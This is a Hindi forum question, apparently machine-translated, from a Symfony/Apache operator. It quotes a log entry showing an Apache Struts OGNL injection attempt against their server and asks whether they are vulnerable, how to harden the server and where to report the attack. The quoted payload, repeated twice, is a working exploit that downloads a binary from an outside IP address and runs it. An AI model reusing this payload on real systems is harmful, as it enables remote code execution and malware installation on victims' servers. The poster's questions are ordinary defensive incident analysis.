मैं कुछ अपाचे लॉग देख रहा था और एक हमले के रूप में प्रकट होता है
core:error] [pid 20356] (36)File name too long: [client xxx.xxx.xxx.xxx:56856] AH00036: access to
/${(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#ct=#request['struts.valueStack'].context).
(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).
(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).(#ct.setMemberAccess(#dm)).
(#w=#ct.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter()).
(#w.print(@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().
exec('uname --m|grep x86_64 >> /dev/null || (pkill loop ; wget -O .loop http://111.90.158.225/d/ft32 && chmod 777 .loop && ./.loop)
&&(pkill loop ; wget -O .loop http://111.90.158.225/d/ft64 && chmod 777 .loop && ./.loop)').getInputStream()))).
(#w.close())}/index.action failed (filesystem path '/var/www/html/${(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).
(#ct=#request['struts.valueStack'].context).(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).
(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).
(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).(#ct.setMemberAccess(#dm)).
(#w=#ct.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter()).
(#w.print(@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('uname --m|grep x86_64 >> ')
निष्पादन रेखा:
exec('uname --m|grep x86_64 >> /dev/null || (pkill loop ; wget -O .loop http://111.90.158.225/d/ft32 && chmod 777 .loop && ./.loop)
&&(pkill loop ; wget -O .loop http://111.90.158.225/d/ft64 && chmod 777 .loop && ./.loop)')
मैंने फ़ाइल wget -O .loop http://111.90.158.225/d/ft64को सैंडबॉक्स में डाउनलोड किया है और यह एक संकलित / बाइनरी के रूप में दिखाई देता है इसलिए मैं अनिश्चित हूं कि फ़ाइल चलाने पर क्या करता है।
त्रुटि से कोई भी बता सकता है कि क्या मेरे पास भेद्यता है, या बेहतर अभी तक है, इस हमले के लिए कमजोरियों को कैसे देखें / सुरक्षा में सुधार करें?
- मैं अपाचे 2.4 पर एक सिम्फनी 4 एपीआई चला रहा हूं।
- मैं इस बात को लेकर अनिश्चित हूं कि हमले का प्रयास कैसे किया जा रहा है और वे कैसे
.execकमांड को चलाने की कोशिश कर रहे हैं
क्या इसकी रिपोर्ट करने के लिए कोई उचित जगह है?
http://example.com/${(#dm=@ognl.OgnlContext@....exec(...)/लेकिन अनिश्चित है मैं उस धारणा में सही हूं। लॉग भी उल्लेख करता है com.opensymphony.xwork2.ActionContext.containerजिसमें से इसका हिस्सा प्रतीत होता है Apache Struts। मैं का उपयोग नहीं कर रहा हूँApache Struts